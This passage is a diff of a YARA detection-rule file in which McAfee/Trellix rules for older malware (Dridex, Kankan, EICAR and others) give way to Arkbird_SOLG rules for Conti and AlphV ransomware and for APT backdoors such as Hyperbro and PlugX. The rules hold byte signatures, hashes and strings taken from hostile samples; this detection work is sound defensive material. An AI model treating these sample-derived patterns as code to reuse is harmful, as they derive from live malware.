-		$pattern_2 = { 7c04 3c39 7e13 3c61 7c04 3c7a 7e0b }
-		$pattern_3 = { 5f 8bc6 5e 5b 8be5 }
-		$pattern_4 = { 5f 668906 5e 5b }
-		$pattern_5 = { 3c30 7c04 3c39 7e13 3c61 7c04 }
-		$pattern_6 = { 53 56 57 8bfa 8bf1 }
-		$pattern_7 = { 3c39 7e13 3c61 7c04 3c7a 7e0b }
-		$pattern_8 = { 55 8bec 83ec14 53 }
-		$pattern_9 = { 5e 8be5 5d c3 55 8bec }
+		$obj1 = { 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 27 29 }
+		$obj2 = { 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 }
+		$arg1 = { 2d 73 74 6f 70 65 6e 67 69 6e 65 }
+		$arg2 = { 2d 73 74 61 72 74 73 65 72 76 69 63 65 }
+		$s1 = { 3c 3c 2d 20 41 64 6d 69 6e 54 79 70 65 }
+		$s2 = { 43 55 73 65 72 50 61 73 73 77 6f 72 64 41 74 74 72 5c 72 5c 6e 50 61 73 73 77 6f 72 64 }
+		$s3 = { 3c 3c 2d 20 50 61 73 73 77 6f 72 64 43 68 61 6e 67 65 64 4f 6e 5c 72 5c 6e 43 52 68 69 6e 6f 55 69 6e 74 41 74 74 72 }
+		$s4 = { 3c 3c 2d 20 49 6e 63 6c 75 64 65 52 65 73 70 43 6f 64 65 73 49 6e 4d 73 67 46 69 6c 65 73 }
 
 	condition:
-		7 of them and filesize <180224
+		filesize >1KB and filesize <15KB and all of ($obj*) and all of ($arg*) and 3 of ($s*)
 }
-rule TRELLIX_ARC_Dridex_P2P_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_RAN_ALPHV_Dec_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Dridex P2P based on the PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "57350c96-877e-57de-9465-df9f7eb6d656"
-		date = "2014-11-29"
-		modified = "2020-08-14"
-		reference = "https://www.us-cert.gov/ncas/alerts/aa19-339a"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_dridex_p2p_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5345a9405212f3b8ef565d5d793e407ae8db964865a85c97e096295ba3f39a78"
-		logic_hash = "c9c4db48435203cdb882eef8082efd8424bd13f1aa512cfb3082f365b9bc6e83"
+		description = "Detect AlphV ransomware (Nov and Dec 2021)"
+		author = "Arkbird_SOLG"
+		id = "5c758dc9-b1dc-58e0-b443-6f78e27ffefe"
+		date = "2021-12-09"
+		modified = "2021-12-18"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-09/RAN_ALPHV_Dec_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "416ebea98f660dd9fad27c3be0c79e47bc69e08fe4be7db76a71462d2c5ada49"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Dridex"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83"
+		hash2 = "7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e"
+		hash3 = "cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae"
+		hash4 = "731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161"
+		tlp = "white"
+		adversary = "BlackCat"
 
 	strings:
-		$pdb = "\\c0da\\j.pdb"
+		$s1 = { ff b4 24 [2] 00 00 6a 00 ff 35 ?? e1 ?? 00 e8 [3] 00 8d 8c 24 [2] 00 00 ba [3] 00 68 c0 1f 00 00 e8 [3] ff 83 c4 04 ?? bc 24 [2] 00 00 }
+		$s2 = { 85 f6 74 47 8b 3d ?? e1 ?? 00 85 ff 0f 85 81 00 00 00 eb 60 68 [3] 00 6a 00 6a 00 e8 [2] 04 00 85 c0 0f 84 99 01 00 00 89 c1 31 c0 f0 0f b1 0d ?? e1 ?? 00 0f 84 f0 fe ff ff 89 c6 51 e8 [2] 04 00 89 f1 e9 e1 fe ff ff 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 32 03 00 00 89 c6 a3 ?? e1 ?? 00 8b 3d ?? e1 ?? 00 85 ff 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 09 03 00 00 89 c7 a3 ?? e1 ?? 00 89 74 24 18 e8 [2] 04 00 8b 35 ?? e1 ?? 00 89 44 24 14 85 f6 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 b8 01 00 00 89 c6 a3 ?? e1 ?? 00 8d 44 24 70 c7 44 24 64 00 00 00 00 c7 44 24 60 00 00 00 00 68 0c 01 00 00 6a 00 50 e8 [2] 04 00 83 }
+		$s3 = { 8b 38 89 4d ec 89 55 ?? 74 34 a1 ?? e1 ?? 00 85 c0 75 0e e8 [3] 00 85 c0 74 14 a3 ?? e1 ?? 00 53 6a 00 50 e8 [3] 00 89 c6 85 c0 75 13 89 d9 ba 01 00 00 00 e8 [3] ff 0f 0b be 01 00 00 00 53 57 56 e8 [3] 00 83 c4 0c 8d 04 1e 8d 4d }
+		$s4 = { 83 c4 0c c7 45 ?? 00 00 00 00 c7 45 ?? 02 00 00 89 89 75 ?? 8d 45 ?? c7 45 ?? 00 00 00 00 c7 45 ?? 00 00 00 00 6a 10 50 57 e8 [3] 00 83 f8 ff 0f 84 ?? 02 00 00 f6 45 9c ff }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and any of them
+		uint16(0)==0x5A4D and filesize >300KB and all of ($s*)
 }
-rule TRELLIX_ARC_Chikdos_Malware_Pdb : DOS FILE
+rule ARKBIRD_SOLG_APT_Turla_Bigboss_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Chikdos PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "0174ff2b-57fc-5578-b45e-c08bf8528ee8"
-		date = "2013-12-02"
-		modified = "2020-08-14"
-		reference = "http://hackermedicine.com/tag/trojan-chickdos/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_chickdos_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "c2a0e9f8e880ac22098d550a74940b1d81bc9fda06cebcf67f74782e55e9d9cc"
-		logic_hash = "150bf809a61aad00df0c49fb6a609b909c84ffb9ca442e143a6c5bf3dfc39314"
+		description = "Detects new BigBoss implants (SilentMoon/GoldenSky)"
+		author = "Arkbird_SOLG"
+		id = "6f6c8d1e-f2c7-5f08-b1dc-ce726c6d89be"
+		date = "2021-04-06"
+		modified = "2021-07-17"
+		reference = "https://twitter.com/DrunkBinary/status/1304086230540390400"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-17/BigBoss/APT_Turla_BigBoss_Apr_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "ce0ffdad9eecb79128b6c08c87914f356c86ac631655c76905a06d953add3998"
 		score = 75
-		quality = 70
-		tags = "DOS, FILE"
-		rule_version = "v1"
-		malware_type = "dos"
-		malware_family = "Dos:W32/ChickDos"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 71
+		tags = "FILE"
+		hash1 = "94421ccb97b784c43d92c4b1438481eee9c907db6b13f6cfc4b86a6bb057ddcd"
+		hash2 = "67bfa585ace8df20deb1d8a05bd4acf2c84c6fa0966276b3ea7607056abe25bb"
+		hash3 = "6ca0b4efe077fe05b2ae871bf50133c706c7090a54d2c3536a6c86ff454caa9a"
 
 	strings:
-		$pdb = "\\IntergrateCHK\\Release\\IntergrateCHK.pdb"
+		$s1 = { 55 8b ec a1 [2] 40 00 83 ec 3c 50 6a 3c 8d 4d c4 51 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 78 ?? 40 00 8d 45 c4 8d 50 02 8d 49 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 75 1c 8b 15 [2] 40 00 52 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 [2] 40 00 8b e5 }
+		$s2 = { 5c 00 5c 00 2e 00 5c 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 50 00 49 00 50 00 45 00 5c }
+		$s3 = { 5c 5c 25 73 5c 70 69 70 65 5c 25 73 }
+		$s4 = { 5c 00 69 00 6e 00 66 00 5c 00 00 00 [4-16] 2e 00 69 00 6e 00 66 }
+		$s5 = "%d blocks, %d sorted, %d scanned" ascii fullword
+		$s6 = "REMOTE_NS:ERROR:%d" ascii fullword
+		$s7 = { 5c 5c 25 73 5c 69 70 63 24 }
+		$s8 = { 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 6c 00 61 00 6e 00 6d 00 61 00 6e 00 73 00 65 00 72 00 76 00 65 00 72 00 5c 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 00 00 4e 00 75 00 6c 00 6c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 50 00 69 00 70 00 65 00 73 00 00 00 00 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4c 00 53 00 41 00 00 00 00 00 52 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 41 00 6e 00 6f 00 6e 00 79 00 6d 00 6f 00 75 00 73 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and any of them
+		uint16(0)==0x5a4d and filesize >20KB and 7 of ($s*)
 }
-rule TRELLIX_ARC_Backdoor_Kankan_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_APT_APT27_Hyperbro_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect kankan PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "6910ecc7-3c31-569b-a7ff-2dcbccff88f9"
-		date = "2013-08-01"
-		modified = "2020-08-14"
-		reference = "https://threatpoint.checkpoint.com/ThreatPortal/threat?threatType=malwarefamily&threatId=650"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_backdoor_kankan_pdb.yar#L1-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "73f9e28d2616ee990762ab8e0a280d513f499a5ab2cae9f8cf467701f810b98a"
-		logic_hash = "3d2e45631dfca0e76e98eee4bb5c4ce1631906f497c052d8c41cc37637cb2760"
+		description = "Detect Hyperbro backdoor"
+		author = "Arkbird_SOLG"
+		id = "060a200e-17dd-5789-94d4-eeff5c2e9a18"
+		date = "2021-05-01"
+		modified = "2021-05-04"
+		reference = "-"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-03/APT27/APT_APT27_Hyperbro_Apr_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "1a32ab7c30885a665ede66640a9b047e3c381f6f535243fcadf1a7a22e76f407"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Kankan"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 35
+		tags = "FILE"
+		hash1 = "36fad80a5f328f487b20a3f5fc5f1902d50cbb1bd9167c44b66929a1288fc6f4"
+		hash2 = "52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7e0f4a30d008e22a7"
+		hash3 = "9000ce3c0e01b6c80edb3af87aad8117513ce334135aa7d7b1c2afa067f4c4ab"
+		hash4 = "92bbcb5461ab5959e31f997a6df77995377d69f8077e43e5812fcbe9303d831c"
+		tlp = "White"
+		adversary = "APT27"
 
 	strings:
-		$pdb = "\\Projects\\OfficeAddin\\INPEnhSvc\\Release\\INPEnhSvc.pdb"
-		$pdb1 = "\\Projects\\OfficeAddin\\OfficeAddin\\Release\\INPEn.pdb"
-		$pdb2 = "\\Projects\\OfficeAddinXJ\\VOCEnhUD\\Release\\VOCEnhUD.pdb"
+		$seq1 = { 8b [5] 7? 0? [2] 0? ?? 0? [3] ff 75 0? [11] 5? [2] 0? ?? 8b }
+		$seq2 = { e8 ?? 0? 00 00 b0 01 c3 55 8b ec ff 75 08 ff 15 34 c0 00 10 85 c0 74 11 56 8b 30 50 e8 ?? 1? 00 00 8b c6 59 85 f6 75 f1 5e 5d c3 cc 8b 4c 24 0c 0f b6 44 24 08 8b d7 8b 7c 24 04 85 c9 0f 84 3c 01 00 00 69 c0 01 01 01 01 83 f9 20 0f 8e df 00 00 00 81 f9 80 00 00 00 0f 8c 8b 00 00 00 0f ba 25 b8 27 01 10 01 73 09 f3 aa 8b 44 24 04 8b fa c3 0f ba 25 10 20 01 10 01 0f 83 b2 00 00 00 66 0f 6e c0 66 }
+		$seq3 = { 8b 44 24 08 48 75 [13] be ?? 16 00 10 bb 00 10 00 10 05 [2] 00 00 2b f3 [0-3] 74 0? 8? [0-2] cf [0-4] 03 cb ?? 11 47 3b fe 72 ?? e8 ?? fd ff ff 5f 5e 5b 33 c0 40 c2 0c 00 8b ff 55 8b ec 8b 45 0c 56 57 83 f8 01 75 7c 50 e8 1c 14 00 00 59 85 c0 75 07 33 c0 e9 0e 01 00 00 e8 a6 06 00 00 85 c0 75 07 e8 32 14 00 00 eb e9 e8 af 13 00 00 ff 15 ?? 80 00 10 a3 18 b8 00 10 e8 68 12 00 00 a3 64 ac 00 10 e8 89 0c 00 00 85 c0 7d 07 e8 1f 03 00 00 eb cf e8 93 11 00 00 85 c0 7c 20 e8 12 0f 00 00 85 c0 7c 17 6a 00 e8 41 0a 00 00 59 85 c0 75 0b ff 05 60 ac 00 10 e9 a8 00 00 00 e8 a4 0e 00 00 eb c9 33 ff 3b c7 75 31 39 3d 60 ac 00 10 7e 81 ff 0d 60 ac 00 10 39 3d b4 ac 00 10 75 05 e8 d0 0b 00 00 39 7d 10 75 7b e8 77 0e 00 00 e8 bd 02 00 00 e8 a1 13 00 00 eb 6a 83 f8 02 75 59 e8 78 02 00 00 68 14 02 00 00 6a 01 e8 54 08 00 00 8b f0 59 59 3b f7 0f 84 36 ff ff ff 56 ff 35 00 a0 00 10 ff 35 7c ac 00 10 e8 d3 01 00 00 59 ff d0 85 c0 74 17 57 56 e8 b1 02 00 00 59 59 ff 15 ?? 80 00 10 83 4e 04 ff 89 06 eb 18 56 e8 3f 07 00 00 59 e9 fa fe ff ff 83 f8 03 75 07 57 e8 33 05 00 00 59 33 c0 40 5f 5e 5d c2 0c 00 6a 0c 68 d0 92 00 10 e8 ?? 15 00 00 8b f9 8b f2 8b 5d 08 33 c0 40 89 45 e4 85 f6 75 0c 39 15 60 ac 00 10 0f 84 c5 00 00 00 83 65 fc 00 3b f0 74 05 83 fe 02 75 2e a1 ?? 81 00 10 85 c0 74 08 57 56 53 ff d0 89 45 e4 83 7d e4 00 0f 84 96 00 00 00 57 56 53 e8 72 fe ff ff 89 45 e4 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and any of them
+		uint16(0)==0x5a4d and filesize >10KB and 2 of ($seq*)
 }
-rule TRELLIX_ARC_Malw_Medfos : TROJAN FILE
+rule ARKBIRD_SOLG_Mal_Plugx_Thor_July_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Medfos trojan based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "07ad0227-ca8f-5071-8ef7-8c3e087fcc35"
-		date = "2013-04-19"
-		modified = "2020-08-14"
-		reference = "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=win32%2Fmedfos"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_medfos_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "3582e242f62598445ca297c389cae532613afccf48b16e9c1dcf1bfedaa6e14f"
-		logic_hash = "1726462a806f5cb3f0b80596623cebc51a7a9f866ded0cb59ea1c43034ce2819"
+		description = "Detect Thor variant of PlugX (Variant 1)"
+		author = "Arkbird_SOLG"
+		id = "5447e5df-0326-5987-905b-bfc49acee05a"
+		date = "2021-07-27"
+		modified = "2021-07-28"
+		reference = "https://unit42.paloaltonetworks.com/thor-plugx-variant/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-27/PlugX/Mal_PlugX_Thor_July_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "f94e6cf8a1169526a438dfbf4d6b40f4ce0f6af6eee2e893fb138b81c4172c73"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Medfos"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "125fdf108dc1ad6f572cbdde74b0c7fa938a9adce0cc80cb5ce00f1c030b0c93"
+		hash2 = "690c488a9902978f2ef05aa23d21f4fa30a52dd9d11191f9b49667cd08618d87"
+		hash3 = "3c5e2a4afe58634f45c48f4e800dc56bae3907dde308ff97740e9cd5684d1c53"
+		hash4 = "a9cbce007a7467ba1394eed32b9c1774ad09a9a9fb74eb2ccc584749273fac01"
+		tlp = "white"
+		adversary = "Chinese APT group"
 
 	strings:
-		$pdb = "\\som\\bytguqne\\jzexsaf\\gyin.pdb"
+		$s1 = { 55 8b ec 81 ec ?? 01 00 00 a1 00 [2] 10 33 c5 89 45 [2-10] 85 ?? fe ff ff [0-1] c6 85 ?? fe ff ff 5c c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff }
+		$s2 = { 8b ?? ?? fe ff ff c6 ?? 00 [3-5] fe ff ff [4-10] fe ff ff }
+		$s3 = { fe ff ff 6a 40 68 00 10 00 00 8b 95 ?? fe ff ff 52 6a 00 ff 95 ?? fe ff ff 89 85 ?? fe ff ff }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and any of them
+		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
 }
-rule TRELLIX_ARC_MALW_Liquorbot : MALWARE FILE
+rule ARKBIRD_SOLG_APT_APT28_Zekapab_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect LiquorBot malware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "73898df8-b5eb-50ac-a2fe-ef9233c251c5"
-		date = "2020-08-19"
-		modified = "2020-08-19"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_liquorbot.yar#L1-L23"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "2448e3ede809331b2370fe9d42d603ad6508be6531a1a8764e0e0621867b6e89"
-		score = 75
-		quality = 70
-		tags = "MALWARE, FILE"
-		rule_version = "v1"
-		malware_type = "malware"
-		malware_family = "Botnet:W32/LiquorBot"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "5b2a9cbda99ed903f75c3b37f0a6b1b9f6c39671a76ed652f3ddba117fd43bc9"
+		description = "Detect Zekapab used by APT28 group"
+		author = "Arkbird_SOLG"
+		id = "634f32dd-8bcf-5c58-a335-9b66ff568a54"
+		date = "2021-03-15"
+		modified = "2021-03-15"
+		reference = "https://twitter.com/DrunkBinary/status/1371423755608719360"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-15/APT28/APT_APT28_Zekapab_Mar_2021_1.yar#L1-L25"
+		license_url = "N/A"
+		logic_hash = "dabaab47c193a05620d282a00b6b47f710cfa6b1efc699ea5d47267d10cfdcb6"
+		score = 60
+		quality = 23
+		tags = "FILE"
+		hash1 = "eae62bb4110bcd00e9d1bcaba9000defcda3d1ab832fa2634d928559d066cb15"
 
 	strings:
-		$pattern = { 7F454C4602010100000000000000000002003E0001000000605A4600000000004000000000000000700200000000000000000000400038000A0040001B00090006000000040000004000000000000000400040000000000040004000000000003002000000000000300200000000000000100000000000000300000004000000E00F000000000000E00F400000000000E00F40000000000020000000000000002000000000000000010000000000000004000000040000007C0F0000000000007C0F4000000000007C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000040FB29000000000040FB2900000000000010000000000000010000000400000000002A000000000000006A000000000000006A0000000000E4492C0000000000E4492C000000000000100000000000000100000006000000005056000000000000509600000000000050960000000000E014040000000000681307000000000000100000000000000200000006000000405156000000000040519600000000004051960000000000300100000000000030010000000000000800000000000000070000000400000000000000000000000000000000000000000000000000000000000000000000000800000000000000080000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A00000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000600000000000000001040000000000000100000000000001FE9290000000000000000000000000010000000000000000000000000000000F000000001000000060000000000000020F969000000000020F929000000000020020000000000000000000000000000100000000000000010000000000000007000000001000000020000000000000000006A000000000000002A0000000000A678110000000000000000000000000020000000000000000000000000000000E0000000040000000200000000000000A8787B0000000000A8783B000000000018000000000000000B0000000000000008000000000000001800000000000000E6000000040000000200000000000000C0787B0000000000C0783B000000000018030000000000000B0000000200000008000000000000001800000000000000F5000000FF }
+		$s1 = { 68 74 74 70 3A 2F 2F }
+		$s2 = { 68 74 74 70 73 3A 2F 2F }
+		$s3 = { 32 44 34 46 37 30 36 35 36 45 32 30 37 30 37 32 36 46 36 33 36 35 37 33 37 33 32 44 }
+		$s4 = { 35 30 34 33 32 30 34 45 36 31 36 44 36 35 33 41 32 30 }
+		$s5 = { 34 42 34 32 37 32 36 34 32 30 34 43 36 31 36 45 36 37 33 41 32 30 }
+		$s6 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 }
+		$header1 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 }
+		$header2 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 }
+		$dbg1 = { 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 0d 00 4e 00 6f 00 74 00 20 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 }
+		$dbg2 = { 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 45 00 72 00 72 00 6f 00 72 00 2e 00 20 00 20 00 43 00 6f 00 64 00 65 00 3a 00 20 00 25 00 64 00 2e 00 0d 00 0a 00 25 00 73 }
+		$dbg3 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 00 2e 00 0a 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 2e }
+		$dbg4 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 }
+		$dbg5 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 00 2e }
+		$dbg6 = { 53 00 6f 00 63 00 6b 00 65 00 74 00 20 00 45 00 72 00 72 00 6f 00 72 00 20 00 23 00 20 00 25 00 64 00 0d 00 0a 00 25 00 73 }
 
 	condition:
-		uint16(0)==0x457f and all of them
+		uint16(0)==0x5a4d and filesize >100KB and 1 of ($header*) and 3 of ($s*) and 4 of ($dbg*)
 }
-rule TRELLIX_ARC_Malw_Eicar : EICAR
+rule ARKBIRD_SOLG_RAN_Conti_May_2021_2 : FILE
 {
 	meta:
-		description = "Rule to detect the EICAR pattern"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "16307b03-7fab-5d68-ad3b-0efcea952fcf"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://www.eicar.org/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_Eicar.yar#L1-L22"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
-		logic_hash = "564b0592f40582fe71e2dab0c0f25c168462f9297c13e7c9f06ac51b492e4533"
+		description = "Detect unpacked Conti ransomware (May 2021)"
+		author = "Arkbird_SOLG"
+		id = "f7580a0d-b94e-560e-a01e-1f0eb0c8833e"
+		date = "2021-05-20"
+		modified = "2021-05-21"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_2.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "d1ec1d2954d0075d9d9ed194bb96a34d457045bfc7a22cb44adb76dee4bc8e41"
 		score = 75
-		quality = 70
-		tags = "EICAR"
-		malware_type = "eicar"
-		malware_family = "W32/Eicar"
-		actor_type = "Unknown"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "Redacted"
+		hash2 = "a5751a46768149c5ddf318fd75afc66b3db28a5b76254ee0d6ae27b21712e266"
+		hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3"
+		hash4 = "ef2cd9ded5532af231e0990feaf2df8fd79dc63f7a677192e17b89ef4adb7dd2"
 
 	strings:
-		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
+		$seq1 = { 33 db 3c 2f 74 0a 3c 5c 74 06 3c 3a 8a c3 75 02 b0 01 2b cf 0f b6 c0 41 89 9d 68 fd ff ff f7 d8 89 9d 6c fd ff ff 56 1b c0 89 9d 70 fd ff ff 23 c1 89 9d 74 fd ff ff 89 85 88 fd ff ff 89 9d 78 fd ff ff 88 9d 7c fd ff ff e8 [4] 50 8d 85 68 fd ff ff 50 57 e8 68 fc ff ff 83 c4 0c 8d 8d ac fd ff ff f7 d8 1b c0 53 53 53 51 f7 d0 23 85 70 fd ff ff 53 50 ff 15 [4] 8b f0 83 fe ff 75 18 ff b5 a4 fd ff ff 53 53 57 e8 42 fe ff ff 83 c4 10 8b d8 e9 1c 01 00 00 8b 85 a4 fd ff ff 8b 48 04 2b 08 c1 f9 02 89 8d 84 fd ff ff 89 9d 8c fd ff ff 89 9d 90 fd ff ff 89 9d 94 fd ff ff 89 9d 98 fd ff ff 89 9d 9c fd ff ff 88 9d a0 fd ff ff e8 [4] 50 8d 85 ab fd ff ff 50 8d 85 8c fd ff ff 50 8d 85 d8 fd ff ff 50 e8 01 fb ff ff 83 c4 10 f7 d8 1b c0 f7 d0 23 85 94 fd ff ff 80 }
